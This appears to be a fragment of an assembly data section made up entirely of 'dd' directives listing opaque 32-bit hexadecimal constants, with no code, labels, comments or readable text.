		dd 50DC59C7h, 19744AA8h, 50901396h, 1F27EA0Bh, 70BEFB48h
		dd 0E95AFA19h, 43F51C66h, 1054E161h, 0F93CD4A6h, 0CB7A128h
		dd 0AD068860h, 8F180B73h, 147EB16Bh, 0FC11702Ch, 27BD0E25h
		dd 0FAF441C6h, 0C0BF6998h, 0DC51FA84h, 4DE66407h, 7633C245h
		dd 0BC423B88h, 6720D5F4h, 1C11D858h, 707FD878h,	0FA731466h
		dd 0DD007C7Dh, 0B805F77Eh, 0A16C62ACh, 3D58DB68h, 0C94CCF5Ah
		dd 93038515h, 0B178FB7Eh, 9E823ED1h, 59179F14h,	0E7838462h
		dd 14FBD408h, 75CE40ACh, 6198AF77h, 1DE8E618h, 812B57ECh
		dd 0BB4CA35Dh, 3254C03Dh, 7EB033B6h, 6EFB64ECh,	59DC35CDh
		dd 9C730FDEh, 0FDB6382Ch, 0E8A9E92h, 10860391h,	54A3209Dh
		dd 0CD66C187h, 44C90E79h, 0B50EFB3Ah, 0F87DFE63h, 0CC71F276h
		dd 0AAB202E5h, 8EE08B38h, 2CFC7F02h, 5EA236A5h,	2DA049D8h
		dd 0C0275B92h, 49FA7478h, 3DC0492Eh, 41C740BAh,	51C642DCh
		dd 499C5EC4h, 36C28669h, 840D07BCh, 0F54EC024h,	64E1DE7Dh
		dd 0DD56FA17h, 0ED3452D3h, 3A19CB78h, 8F0715D7h, 0A9582036h
		dd 2C24A72Ah, 0A301E5ABh, 3481D612h, 7D36BF40h,	8E01D812h
		dd 0E02F0D11h, 59EA4188h, 0E85303D6h, 41F259A6h, 1F2DB6BEh
		dd 79AC19ACh, 77A149F2h, 13FC459Ah, 0FA080B8Eh,	0CF40B517h
		dd 0B7B07676h, 6CE9C51Fh, 0D56EC503h, 444AA500h, 8B5EA9F3h
		dd 0E162E33Ah, 5A7AFA7Eh, 0AF20D1B7h, 18EFCB16h, 8132BB4Ch
		dd 4B9FFE38h, 81EC6FC4h, 5DE063EAh, 129B048Dh, 6BFA7885h
		dd 39F07386h, 161AA649h, 4937279Ch, 15981B99h, 1159BA1Fh
		dd 70D903B0h, 0C748E1C7h, 1042036Eh, 0D5B4209Dh, 9A50D356h
		dd 8F0D8903h, 0F116EF7Bh, 562CE37Eh, 0AB1B09B3h, 9ED4121Ah
		dd 850ABE8Ah, 7C94EC02h, 0E0F073F6h, 57FD745Fh,	0E85502DEh
		dd 49FA73E0h, 0C234B02Eh, 709B445h, 25A81D92h, 1B8C9BADh
		dd 0E1111396h, 184061Ah, 0F479932Ah, 7C93EF72h,	0DD56DF70h
		dd 0D0C413DBh, 4E18CB4Eh, 0EB3CD596h, 910626C9h, 61A1A71Ch
		dd 0FD15EE47h, 890C9C9Ah, 46CA16F9h, 931F77CCh,	7B84D66Dh
		dd 2CDC5FD4h
		dd 3D55DEFFh, 11C471D4h, 99AAE41h, 0E9292F84h, 1C29A7A9h
		dd 511F179Ah, 0FA888082h, 95F970B2h, 2B70C568h,	0D75A80EFh
		dd 0D532DA5Eh, 0CB26CE38h, 816E56B9h, 49B7B70Ch, 0C5ACA4D1h
		dd 0A1C9F23h, 9378069Bh, 916E873Ch, 0E00728ACh,	69DA53ECh
		dd 0D8EFA363h, 51D4569Ah, 5B4AF643h, 310D3FF4h,	0D24A1A5Eh
		dd 21304F55h, 3EC61B9Eh, 2DB88674h, 5F15FCD2h, 7C74C141h
		dd 0D3767BD3h, 315D6E62h, 32AF295Ch, 0DF3952C7h, 0B552BB08h
		dd 0A92CBB5Ah, 6273F126h, 0A728BD8Fh, 0A14C060Eh, 7D69F216h
		dd 3DF045B6h, 0EAEED1E5h, 94CC7F9Ah, 3CE4732h, 3F8A51C7h
		dd 3AB77DA8h, 0A5A00FEAh, 0F95D1043h, 499B429Eh, 337B17AEh
		dd 9DC5762Eh, 16CD94Eh,	0DD60E37Ah, 0A962F97Fh,	0EB68E56Eh
		dd 9C198562h, 0D5089D13h, 8404DF0Fh, 0DA52916Dh, 892CC15Bh
		dd 27957C51h, 0F0F441C1h, 65E8C72Ah, 9DC35E2h, 0D82F0081h
		dd 41F27BE0h, 203CB635h, 29C62F84h, 0D4CB3845h,	147C4697h
		dd 23880B8Eh, 0F9769BA7h, 0B7E50C21h, 6264D151h, 3E08D79Ah
		dd 0C94BA759h, 0CDC346h, 0B102A9ACh, 30D7F879h,	992AA308h
		dd 0D96E5393h, 0BD6C3287h, 0D07B7BC8h, 69DA7A76h, 3A6DEEE6h
		dd 7AD461E4h, 14C82100h, 0AC436C94h, 2D860F90h,	5FA4DF29h
		dd 0EB138AB1h, 35E4BA1Fh, 0F03003B0h, 0E1015988h, 1F7F030Eh
		dd 0AB3D209Dh, 40593041h, 2BAFC63Dh, 7B1374B5h,	954412BFh
		dd 39D3A310h, 28FF609Dh, 9F9D745Dh, 0F9FC493Eh,	5BE5184Bh
		dd 4B9066EAh, 55AD6BB6h, 8359B0D2h, 0BDC075FDh,	78A5007h
		dd 34DC2BAEh, 7F09A65h,	0D9013A0h, 8442078Ah, 0F54EC519h
		dd 17640672h, 58A71C99h, 0D162C22Eh, 4548CB4Eh,	0B9387D1Fh
		dd 8D7FB93Bh, 0CF4BC844h, 0B57EF43Eh, 0EC6AE67Eh, 5D4FA327h
		dd 14991E8Eh, 45871FCEh, 3CB03A81h, 39B121B4h, 4BC966AFh
		dd 15981B9Eh, 5A8C6092h, 78CD4ED3h, 70F337E8h, 6BED6FFCh
		dd 0AB76F2A3h, 83159F13h, 92018B1Eh, 0F521B72Dh, 0B93CAE3Ah
		dd 0D321E33Fh, 0C951975Eh, 0D14BCE5Eh, 0B568F143h, 0EC64E036h
		dd 0EF6DE364h, 58D84199h, 8BB65FFh, 34880092h, 30F430B4h
		dd 21E827A2h, 589C46A3h, 439057D8h, 55CC40C3h, 7AFE3BB2h
		dd 7BEA2FE0h, 99EE66EFh, 0D13DD709h, 91018A19h,	8E56D258h
		dd 0A822B63Eh, 0A436A66Ah, 0C057C21Eh, 0DB4A8F1Eh, 0F94EC64Fh
		dd 0D234A869h, 0A46DE661h, 59883622h, 19D0009Fh, 40810A83h
		dd 72AC12FEh, 28A06FA1h, 39E126B2h, 3284F03Eh, 8DE7FFD4h
		dd 30D0BD03h, 0A280B582h, 56E469F5h, 65425027h,	515DA453h
		dd 58E2D886h, 0D1330F51h, 99805482h, 0EBFED38Eh, 7DE80B85h
		dd 819D854Eh, 9506F85Dh, 890C8F12h, 7D008306h, 71F477FAh
		dd 65E86BEEh, 59DC5FE2h, 4DD053D6h, 41C447CAh, 35B83BBEh
		dd 29AC2FB2h, 1DA023A6h, 1194179Ah, 5880B8Eh, 0F97CFF82h
		dd 0ED70F376h, 0E164E76Ah, 0D558DB5Eh, 0C94CCF52h, 0DD40C346h
		dd 8EE012B9h, 2628AB18h, 0AF234787h, 3A1F9316h,	0D2899349h
		dd 3E4F74E6h, 0E23C6CF4h, 76C447A2h, 48A65B98h,	36C009F5h
		dd 2DFEB4D6h, 0A4BC719Dh, 179BF33Fh, 0CD1D929Eh, 0E28C39ADh
		dd 0D5428083h, 33152E98h, 60E0EB6Ah, 0D96AFB04h, 0CD50B7BEh
		dd 0C164AF4Ah, 30B5BB3Eh, 0A91A8CA1h, 0E9389A7Fh, 95D41416h
		dd 0F77CECh, 79CA40B6h,	6E298435h, 57C00167h, 0AAC8B8DEh
		dd 4943B3A2h, 0DFC4AB45h, 0A229BE4Ch, 0A6A81D8Dh, 1CE81F98h
		dd 7F9321BDh, 0FDCA8A9Ah, 7626A026h, 0ED18EF48h, 0DE8BD199h
		dd 3944A5A5h, 3AB73419h, 34177169h, 0AD068CEEh,	956FA472h
		dd 2D9D14DDh, 4E0CB92Dh, 4B3F3783h, 71F477FAh, 65D483EEh
		dd 0DC575FE2h, 4DE66C62h, 0BE32D122h, 35A0D341h, 942F2FB2h
		dd 1D961C12h, 989C629Ah, 33AC0413h, 6E01482h, 0DB4F47FBh
		dd 64EB246Ah, 0D56EE4E6h, 0F6F85ADBh, 0BEA8C370h, 8234B73Ah
		dd 36A368E7h, 991C9FA2h, 73FD7B44h, 140778F5h, 75CE4426h
		dd 136FB9F1h, 0D9EF63EAh, 51D456DDh, 45D8314Dh,	3941BBCDh
		dd 6F3B33B6h, 0E94C77A6h, 1667E460h, 3FB3D717h,	0AD460086h
		dd 8F4FFF0h, 65719F6Eh,	0DA28F19Bh, 46A13816h, 20C5C602h
		dd 6AE764E1h, 0E56856B3h, 7155A36Ah, 12DCBC43h,	0A0771F7h
		dd 79FC7FB5h, 9388F290h, 0E4EB55D9h, 55D85B75h,	49F6CC84h
		dd 774B46B3h, 0BAB6DCAAh, 745928A4h, 0E6626D4Ah, 0D5251069h
		dd 0AC8431B5h, 0E003BFBh, 0E9E86B7Dh, 689FE366h, 0D162E882h
		dd 3B1D231Eh, 3C3F40BDh, 0AD068CEEh, 9EFC22A5h,	911B9B28h
		dd 498FDC36h, 72DBB004h, 63177F4Ch, 36C8A26Eh, 5DF87B23h
		dd 64F44FFFh, 19F63C6h,	0CE39D255h, 0F417F8BDh,	0E6211DD2h
		dd 0CAFA5232h, 0FE093DFAh, 6DDC4DBh, 16F1DD02h,	4DD1C5BCh
		dd 2ED9FD2Ah, 3A1426C1h, 46C1DD32h, 426C5E47h, 5EA9BD5Ah
		dd 7839A064h, 76919D62h, 6021B83Ah, 0E0077D8Ah,	69DA504Ah
		dd 0A2918ABDh, 0D28AA825h, 0AA215F0Ch, 0FA43C03Ch, 75B459B7h
		dd 0DE511142h, 550D9361h, 6F8C39B4h, 0FF98323Eh, 0F2903798h
		dd 4E0E096Ch, 3104D908h, 32AF264Dh, 464C05C9h, 0ED3DD1EFh
		dd 56D9A1DAh, 9EDA23D9h, 0C1A49C69h, 0A3480E0Ch, 92567F34h
		dd 359819D1h, 621EE740h, 446843ABh, 0B638A13Ah,	3DC1FB39h
		dd 0E33037BAh, 0C57926DAh, 0EF77D55Ch, 0D28167Dh, 0AA04078Ah
		dd 78BB449Ch, 0DF545FE7h, 2AB7C866h, 54A31480h,	0C57EF3EBh
		dd 0B13CBF42h, 6CF02639h, 24D2ACCAh, 952EA3BDh,	0EF0AFA13h
		dd 96250A0Bh, 0D27181E9h, 67E85DD6h, 54BA5997h,	493B76E7h
		dd 64C54AACh, 895090D8h, 0A253D04Dh, 882917E5h,	11A22856h
		dd 807FC825h, 0F94AC727h, 0E570F376h, 0E5A47265h, 49B071E2h
		dd 40B330ADh, 8B7F13D3h, 12B1413Ah, 0A4289D16h,	0A8139B57h
		dd 4D3B91FDh, 4F344A1h,	75CE435Bh, 61EC6FF2h, 0D86A4492h
		dd 51E26F45h, 23C3AB0Fh, 5FF9B4CFh, 8748831Dh, 193BA220h
		dd 0F5591BA8h, 6DEB0A89h, 0CE2B050Fh, 1ADF91BAh, 6A0C537Ch
		dd 53F7DF67h, 0FB684CD3h, 1CC34Ah, 7693A3DEh, 89C75382h
		dd 9DCB1B40h, 88FF3C7Ch, 6D508F64h, 86038CFDh, 0AC22777Bh
		dd 64826F0Ah, 0FEBE9B57h, 0D97C4C39h, 65C2296Ch, 0CE47D152h
		dd 517AAF51h, 41947590h, 0F263C97Eh, 734EF975h,	0BBD8FBDh
		dd 17A59BB8h, 23BB97ACh, 2F58A390h, 3B44BF84h, 930CB88h
		dd 1DFD58CFh, 11ED4CD7h, 25DD70EBh, 4ACD64EAh, 45B03E8Bh
		dd 0F40377CCh, 65DE534Bh, 0D9DC5FE2h, 2D6050A2h, 0E441B060h
		dd 35B80D86h, 5DA42FB2h, 96F59BA1h, 5E3F1776h, 3D2D8E79h
		dd 0F97FFFB4h, 697FF276h, 0E164E7BDh, 7EF233EEh, 0F6F072DBh
		dd 55F0C370h, 0CBD1C90h, 0A51E94EEh, 0A1B91AD5h, 8D139320h
		dd 9470870Ah, 4D5DFE09h, 69EC6FC4h, 589462E6h, 0AE2A9632h
		dd 0EF21FB31h, 8539B469h, 0A6B00589h, 0A86C0C65h, 23A7DF23h
		dd 0F5C48692h, 2E4643Eh, 31475C4Ch, 609F4008h, 0D96AE7C7h
		dd 0CD50D355h, 44B2C93Eh, 0B50E839Dh, 4129DBB2h, 62DF5D64h
		dd 1870F0A2h, 453B2028h, 0FC0BD464h, 6DC64B53h,	61E467E9h
		dd 0D02E0EAAh, 49FA7771h, 0D5C53646h, 0CE4BC9A4h, 0DA558F46h
		dd 0F1BCAF5Dh, 0F26FE820h, 0B9E23E69h, 5E1EEE81h, 7CE744E3h
		dd 0DD56DBC3h, 13A305ADh, 0C548CB4Dh, 0C7D4AB37h, 1DCF4CCBh
		dd 5AB44F35h, 2D7E64E1h, 226A9AEDh, 0B28B2897h,	4E30F271h
		dd 0ADC36BD8h, 0AE20176Bh
		dd 7BE8F653h, 41C444CAh, 0C2964FBEh, 1F948A37h,	1DA023A6h
		dd 0E6B6639Ch, 33B0AE0Bh, 0F97CFF82h, 5758677h,	1E9B1A98h
		dd 0EDFD5EA9h, 0C94CCF64h, 0B834C746h, 4ECABAD2h, 0AD5CD1h
		dd 9D1CA91Ah, 0F9109316h, 7F636F1Dh, 5C408401h,	0C2249132h
		dd 29206B5Eh, 246CFCDEh, 0EEAFA036h, 119BA35h, 2DB83380h
		dd 6ED127AAh, 2D3BA61Eh, 7D8C0FA4h, 3BBEBC0h, 0D8CC0885h
		dd 0EFA1C276h, 0EF6440C7h, 0CEB41356h, 0F9DB6240h, 593BB08h
		dd 2CA60583h, 9D169B85h, 9B5427B0h, 0B330148Bh,	0C19AD502h
		dd 0E8078E14h, 61D25F4Fh, 55D85BCEh, 7C48A6h, 4878256Ch
		dd 811F5146h, 0E59B8146h, 0B1219609h, 0FA9025A9h, 37BCA20Fh
		dd 0F578DB7Eh, 59659A72h, 40E5E93Eh, 7B54E162h,	5C97328h
		dd 81993AB5h, 0AD70B300h, 0A250A72Ah, 9F305F9Eh, 0BF3412B7h
		dd 0F4ABE506h, 47CBDB47h, 0E01FC0EEh, 59EA6747h, 0DD053D6h
		dd 11744EBFh, 0D25BEBCh, 0DE062F84h, 2B988623h,	1194979Ah
		dd 0B5837E8Eh, 67F9F53Ah, 4770C54Eh, 5902DA81h,	50AFC36Fh
		dd 0C97AF7F7h, 0BD40C246h, 9884B54Eh, 9DB60E24h, 7DDC9F14h
		dd 13B59915h, 0E704B132h, 0F4401D55h, 0CC699802h, 5DE055DEh
		dd 24D457D8h, 4F00FFCCh, 0F84A167h, 0A41B55B6h,	179BEF17h
		dd 3D28A39Eh, 0FE270F92h, 0CBB8A603h, 0F174FF7Ah, 0D199F6Eh
		dd 26A32253h, 0F5F556A1h, 0C544C77Ch, 0BE4DBB3Eh, 2C261782h
		dd 9D169BB9h, 66597CB0h, 0B3302E8Bh, 79F47F02h,	0BE106F6h
		dd 6B04E452h, 63E0C47Bh, 7A6729D2h, 282BE906h, 299D8FDCh
		dd 1D378EA4h, 0FD5C1F94h, 92351995h, 678431B2h,	50FD0CD5h
		dd 0E96CD94Ah, 0BB60E376h, 0A59456E2h, 0CD8C4B4Dh, 81A31A48h
		dd 656B300h, 2A11125h, 3E18AD26h, 76F04FFAh, 0D88574F9h
		dd 71F441C2h, 11A86BEEh, 5B8CEFEBh, 7BE8CE53h, 0C433EDCAh
		dd 358E031Bh, 29AC0FB2h, 1FD5A516h, 5E19139Eh, 982D8170h
		dd 707CC9BAh, 0DB4F43FBh, 61CF816Ah, 0D22DDEA2h, 86CCCFE2h
		dd 55EA83B9h, 4ECB4B43h, 9D8D2ED9h, 0D91C9F14h,	35769316h
		dd 8371B66Ch, 0DE9E524Ah, 0ECE67742h, 5DD65B79h, 0FBD7B71Ah
		dd 0BA341F26h, 0CE348F3Dh, 1B889633h, 212427AAh, 0A59A6E9Eh
		dd 94298514h, 9B8035BEh, 0F48877D1h, 0E5D8EC1Bh, 99A390E2h
		dd 317B3BFCh, 44B338B5h, 0B50E839Bh, 0A92DAF32h, 0DD90A853h
		dd 0A9891210h, 6EA28B38h, 0FA44190Dh, 0F0557936h, 7E451D2h
		dd 0FFD9EB75h, 7169CA25h, 3DC043F0h, 1EC137B8h,	1D0DAE59h
		dd 199C1F94h, 17E51392h, 848EC73Ah, 0F54EC3E1h,	0D1C84AF8h
		dd 3DA1E350h, 0B7ECB14Ah, 0C5F860CFh, 0F98CB7A9h, 95AF363Ch
		dd 568EA71Ch, 0A3203E9Bh, 810C8F12h, 1B10F606h,	7B1CF442h
		dd 53D0F54Bh, 0E97739E2h, 0FDD8B8D7h, 0DF414D82h, 9FB80D86h
		dd 1109AA45h, 1DA02390h, 6425178Ah, 0BDEE2EFBh,	5C760701h
		dd 0ED46CBE8h, 21574C0Ch, 65E5F2F4h, 3E4CF96Dh,	8B7866C3h
		dd 9134B73Ah, 1437DE2Eh, 0FF077455h, 87089AAEh,	0B73C19AFh
		dd 761CBBFEh, 5172CAF8h, 0F68663D0h, 6E64EAF3h,	84424BF8h
		dd 60C9A48h, 86D63380h,	0A4A67F1Ah, 15AE2303h, 0AC09F838h
		dd 0FE8035BEh, 8575F77Ah, 40ED1C4Ch, 0D95CE95Ah, 0B854D356h
		dd 64C1305Ch, 0B5388D06h, 0DC2FAF32h, 67A44B23h, 3AFC68E5h
		dd 72F774F4h, 4FC4DA87h, 6DF073F6h, 0D1E713E2h,	0D02FF117h
		dd 49FA7777h, 0BDC043C6h, 360417CEh, 1D35AE84h,	0F95D1F94h
		dd 5191E8Ch, 0A48607AEh, 0F54EC3E3h, 696F0BB2h,	6DCBE7A2h
		dd 69327D3Bh, 60422BB1h, 0B90A87DFh, 28C71850h,	0A1129F8Fh
		dd 95189B3Eh, 0CFBDC66h, 7D36BBA3h, 51F477FAh, 0A21F669Ah
		dd 59DC5FE1h, 0DD6056A2h, 0CA37AC60h, 9D35B079h, 2AC198Dh
		dd 0E1E1AA67h, 949E4F2Ah, 5BE3313h, 5CF90828h, 0ED70C54Eh
		dd 9564A76Ah, 85E0BD52h, 54C9C591h, 5640F57Eh, 4E8CD130h
		dd 388DA1CEh, 0FF1CA91Ah, 289564BDh, 8204B132h,	1F97BFEh
		dd 0CC699881h, 5DE055DEh, 25F457DAh, 460FBCC3h,	4DBC3FC2h
		dd 872083B3h, 0EE2FD441h, 2A589E15h, 0C1A70FA4h, 0CE7C4B0Fh
		dd 54F100B3h, 0E568DD56h, 0AC5C5F62h, 50D55E58h, 4B44F172h
		dd 4CB8FB36h, 24D4DC31h, 0B9646E22h, 71D5970Ah,	2E833B06h
		dd 0C19A79E1h, 0C696B3C7h, 0E16BDF8Ch, 55D8E3B6h, 2F2D4DD2h
		dd 0B86B1B6Dh, 57B24273h, 43681A16h, 0B35FAF09h, 3520961Bh
		dd 847307BCh, 0F54EC3DBh, 0F96CEF72h, 0F637E513h, 0C8BF8FA2h
		dd 0EE6098C5h, 32EC94BAh, 9B0F7BBBh, 9B1A62Ah, 9418AD21h
		dd 0AD48042Bh, 1ABD0A02h, 0FAF441EAh, 53D7C753h, 0F15974E2h
		dd 0BAD065E9h, 77FCE24Fh, 35B87BBEh, 0DEAE5BB2h, 1962887Eh
		dd 92C3419Ah, 33B7EB33h, 7D73FF82h, 0ED70F2AFh,	0E164EA82h
		dd 871D905Eh, 0FA008A1Ch, 0F104ED74h, 24CBB776h, 0A51E90BCh
		dd 0A6E81AABh, 6439320h, 5907BB52h, 0FED00801h,	89045BB1h
		dd 0D61F9C13h, 67EB834Fh, 7CB10CEh, 0C139B6CEh,	2EB00589h
		dd 0A42D2FE8h, 15AE2462h, 0F6A47C19h, 0FD808335h, 4CD1F7Ah
		dd 58E31491h, 0D96AE0B6h, 38FD3B00h, 54CF38B5h,	0B50E84EAh
		dd 0AA24E5B9h, 530BAF6Ch, 9E117E99h, 8509EB86h,	23787002h
		dd 6EF073F7h, 57DBBF5Fh, 0CD6D58DEh, 0E5CC79EDh, 0B8CFABFAh
		dd 31B43718h, 0EAC6D23h, 2FA38727h, 5D961096h, 0FE716D62h
		dd 21C57881h, 0E96CD94Dh, 9A5BE813h, 0CAD7D856h, 2E48CB4Fh
		dd 6DA9864Eh, 0A2308509h, 0A125AAAFh, 0D9D981Eh, 0EF0CB92Dh
		dd 58FFBB87h, 7108F2F5h, 25636BEEh, 6D9F74E0h, 0B8FDBB86h
		dd 0FCFDB835h, 358E046Ah, 2948AABDh, 98A323A6h,	11A22842h
		dd 3A108E8Dh, 0F9F7FFB4h, 0E27CB45Dh, 0E1642AE8h, 0DD1FE05Eh
		dd 0C9884C5Dh, 7DC3C346h, 0A573B438h, 9AB02E2Dh, 0C94E9F14h
		dd 0B2E426E9h, 14FB873Ch, 75CE40ACh, 662CEAA8h,	5DE0D463h
		dd 5148BEDAh, 0BAF44BCEh, 3928BACDh, 133033B6h,	0AA2128BFh
		dd 9E981B9Eh, 4AA70ED4h, 416853B2h, 0C88B088Eh,	0D3573FD3h
		dd 0DA2BAA62h, 0FB6F0BD3h, 59C1C44Ah, 3C388D01h, 9F6CAFB7h
		dd 0A6202826h, 0A72B6F9Fh, 0BE00F90Eh, 4FC38387h, 509901F6h
		dd 11E467EAh, 4A306CACh, 0C4CC4FD2h, 0FC4BBF88h, 73B73591h
		dd 252D10BEh, 6C9C29E2h, 1D54909Ah, 450B3675h, 1E19E75Ah
		dd 6CE32C69h, 0DD56DCDEh, 49E15C3Ah, 2D48FD71h,	46C34A18h
		dd 0AD301A57h, 0AF51272Ah, 0E714DC35h, 814BB41Bh, 823C0109h
		dd 7EBD8805h, 9A16D96Bh, 7DE0D41Dh, 6575F457h, 0BE3B47CAh
		dd 77534441h, 49886533h, 534023A6h, 1D1FD7A9h, 0E50D8CAAh
		dd 707CC9BDh, 0DB4F2FF3h, 48DD6A6Ah, 0D658DB76h, 0FF7357D7h
		dd 18E5A546h, 0B2F29C74h, 0E703BF6Ch, 625A592Eh, 0DF9154FEh
		dd 8404870Ah, 0FCF87BFEh, 37B393B4h, 0C81F3425h, 51E26C44h
		dd 4AD7A30Fh, 39BD2547h, 47E463B6h, 0DE5B4D82h,	23A3E50Bh
		dd 564C8A92h, 0FC858B89h, 0B19CF77Ah, 0D97148Bh, 0D95CDF73h
		dd 8B24B605h, 9221AB23h, 0C74DD85Bh, 0E855DB5Bh, 0F1955C26h
		dd 6E14A125h, 0B333D99Bh, 0D79F602h, 85F045C9h,	61E467F3h
		dd 348C3E8Dh, 3E832AB9h, 4EB226A8h, 61C45ED2h, 4CDE42DCh
		dd 7CFB7ACEh, 1C784496h, 0E97BF863h, 0F578FB6Dh, 8C3E8A21h
		dd 0AF0F9715h, 0B826873Fh, 0A024A238h, 0EE3CDA25h, 52D840DEh
		dd 0A1364FD5h, 0F04B9B1Eh, 0E26FEE50h, 0F50F373h, 1D9D0193h
		dd 658D0C8Bh, 0B10AB7B5h
		dd 5538AC29h, 12C447CAh, 54D078DBh, 67C948DCh, 7BC957C9h
		dd 78E647E3h, 60E462F8h, 0AE7C9AE5h, 1298409Eh,	6C30B795h
		dd 0E3626BDBh, 9928A552h, 4217C22Ch, 8708BDAFh,	8114222Eh
		dd 0A25A0ADDh, 4D3A9320h, 0BF6C3A87h, 25A87BC8h, 0D95990A2h
		dd 35E055DCh, 51D057DBh, 12C9219Ah, 6C8AA3Dh, 47E43380h
		dd 0B45B70AEh, 15AE24EAh, 0F698CB11h, 0CBBF6F33h, 73E1087Ah
		dd 0BA68DD55h, 0B1E952A1h, 9B50E568h, 0FAC252B5h, 4DBBBB08h
		dd 12A8A0CDh, 1420A326h, 0A72BEF9Fh, 0D308E10Eh, 423EEAFDh
		dd 0AD7573C0h, 6140E3E5h, 95F35BDEh, 4AA61F82h,	55C12996h
		dd 0F1B437BAh, 473DD4F8h, 9A9C2999h, 899FEC6Eh,	1840262h
		dd 0CA047EF7h, 64E1EF44h, 0DD56DCE6h, 0EEDC42D7h, 9719CB78h
		dd 466CBF28h, 9B0B3DA3h, 5EDC242Ah, 90AE1F11h, 89668F12h
		dd 427C36F9h, 0E40B77CCh, 65DE5064h, 5623A761h,	4DD5CC52h
		dd 0D141CECAh, 6B80D81h, 786F2C7Bh, 19CA72F6h, 6D21E8CBh
		dd 0FA883DB1h, 0CF479917h, 0E2B07676h, 0E1619CEEh, 5C91E85Eh
		dd 0FF735BD7h, 0EC119246h, 0BE34A852h, 30D7FB2Eh, 992AA48Ch
		dd 91F5393h, 8104823Eh,	4A60FE77h, 0D12F6FC4h, 5DE013EEh
		dd 0A6EC1C51h, 73F0EE4Bh, 39BC3FC2h, 2EB646A6h,	17B4402Fh
		dd 164A289Eh, 0FE7DF853h, 59058A67h, 4974C145h,	0E568C3C1h
		dd 0DA6094E9h, 0FB40B4D3h, 0C296F44Ah, 42C94CFFh, 35A926D3h
		dd 5E209519h, 975F2015h, 83D68F7h, 0CEF36751h, 0BDF367B5h
		dd 49250CA3h, 6F598BDDh, 27A5388Dh, 0BEDD373Fh,	43B53BC0h
		dd 19E3A04Eh, 1A885D29h, 491D03D4h, 0D873F8C2h,	70433A5Dh
		dd 0E95AD0E2h, 0F93468A5h, 5E94E44Ah, 0C54873CCh, 76B77C42h
		dd 10BDB8DDh, 0A1129942h, 0A6C710E2h, 0E83023DBh, 73C8574h
		dd 51D8758Dh, 11B45744h, 2DF2630Eh, 38D06F0Bh, 0CA0DA422h
		dd 6DFD06BFh, 22D82FF7h, 4FE3709Bh, 2211189Ah, 8E77F471h
		dd 0B02BC281h, 697FB038h, 1E9B184Ch, 801B8C63h,	0D2C8C01Ch
		dd 80BF3CB9h, 8307F46Dh, 5A382F21h, 0C92160DDh,	825FC745h
		dd 7EFB828Eh, 9D234801h, 961391DFh, 0A7087393h,	0B92BA826h
		dd 0BA37B5EFh, 0C750BBCDh, 0FF83CC49h, 21A43142h, 0EAFBF39Eh
		dd 964F06Dh, 0A0800386h, 0C2271AFBh, 3E81EB58h,	0BD5CDF61h
		dd 78DBE1A9h, 0C172F8D2h, 0D31A325Ah, 0F36191B3h, 9EE42629h
		dd 0CF9F971Ah, 0E3D68832h, 3CAC4483h, 6E44F6F9h, 221367EAh
		dd 55F85BC8h, 0EE4940D2h, 0CBC043C5h, 3EB66BF9h, 25ABB62Ah
		dd 11DF94A2h, 0AD30B3ABh, 8E00082Ah, 0C878FB7Dh, 0C94CCF52h
		dd 0DEE46769h, 68BCD75Ah, 0CAB734B0h, 0B93FC6C0h, 71953036h
		dd 0A1249115h, 1E10D995h, 48279F58h, 0BD338775h, 0B9F77211h
		dd 0ECF82167h, 6FE3FF67h, 419A50D6h, 40C44772h,	0A5506ABEh
		dd 1953D055h, 2B988033h, 21B4A69Ah, 33B0AF3Bh, 75C9582h
		dd 0F908ABBFh, 1E839182h, 0DA8A5EA1h, 2B9F0DC6h, 85E55677h
		dd 54DFB70Ch, 9D8D2ED9h, 991C9F14h, 0AF649216h,	0B9A102FDh
		dd 75FB7BC8h, 65996FF2h, 6545C667h, 0AE2B57ECh,	4F23B031h
		dd 119B243h, 2DB03380h,	27CC2FAAh, 4C981B9Eh, 98C09FAh
		dd 0D5685B86h, 7B8B089Dh, 0D35076EBh, 0F3D85962h, 0CD66EBCBh
		dd 0F9D942C2h, 55DABB08h, 91892AC5h, 9D28A310h,	9861971Ah
		dd 0BD97368Eh, 0DFD7F34h, 0C8758433h, 61E451D2h, 21D05BDEh
		dd 0D471CFC9h, 38C075FEh, 8C3487CEh, 259E1330h,	993B6BA7h
		dd 3BA88C2Bh, 9FF0028Ah, 0CDDD7E89h, 0E96CEF44h, 0D4146366h
		dd 0E9C96ADAh, 0B24ACB78h, 59993CCBh, 0AD308509h, 5ED7A0C2h
		dd 687973E1h, 0F9E470EDh, 0F6008304h, 47CBEB67h, 0C57568EEh
		dd 0B1DC69DDh, 0B22FAFAFh, 4394C3C5h, 80333BBEh, 299A102Ah
		dd 1E9C7D2Dh, 0ECEEFF44h, 8787F471h, 0F97CFDB8h, 8D54B9F7h
		dd 6A84E76Ah, 0D60E89A0h, 0B34FDB28h, 18C53456h, 0B1348102h
		dd 0D038AB2Eh, 7DA11636h, 10A529h, 0B73C37BFh, 1275F0FEh
		dd 9AEC59E2h, 71593442h, 0DCD457D0h, 73D84B7Bh,	8819CCC2h
		dd 0DEB2D0B6h, 8421D00Eh, 15982DA6h, 69C0F92h, 0FD80AD02h
		dd 0D907087Ah, 1A865D86h, 0DC9549Dh, 4850E569h,	59C0C898h
		dd 3E38BB3Eh, 9F133787h, 8D6A2826h, 0F130DD9Bh,	0AEE88B0Eh
		dd 7B8F7748h, 1FF3BAC5h, 6695CFEh, 0DED86DCEh, 7FDC285Fh
		dd 0B69631C6h, 94371386h, 259E3BC9h, 7E3B9CA2h,	0D901396h
		dd 8C7D01h, 27BF334h, 6CE718F5h, 0DD56DCCAh, 0E9F152ADh
		dd 0C508CB78h, 0BB48BF42h, 0DF33ABC1h, 28148E26h, 0A3277BABh
		dd 0A17F0412h, 0F8F7B307h, 71C24F5Fh, 65E86BAEh, 412B5D96h
		dd 0B199BB87h, 0AA9DB835h, 1DCB38B2h, 78A05D99h, 4204D0F0h
		dd 0A1219AC3h, 8C883DB6h, 0CF431B3Fh, 0B2D40076h, 7355E834h
		dd 0D58B5CD3h, 5C76CF52h, 0BD76FBE5h, 635DB14Fh, 0B71CFD56h
		dd 71ECCFAAh, 72EF49B6h, 8D4E0C50h, 82E831FDh, 5FD4CA77h
		dd 5DE063E6h, 5495DACAh, 0C84158BBh, 398A0022h,	3DD7B6B5h
		dd 8627279Ch, 15981BF9h, 21CF2492h, 0FDD2840Fh,	7483F77Ah
		dd 0E55ED70Eh, 0D95CDF63h, 8E97D422h, 61E46742h, 10BD4C9Eh
		dd 0A92C990Ah, 0E9A0A326h, 0EBFCC51Dh, 0DFF774F9h, 461CF289h
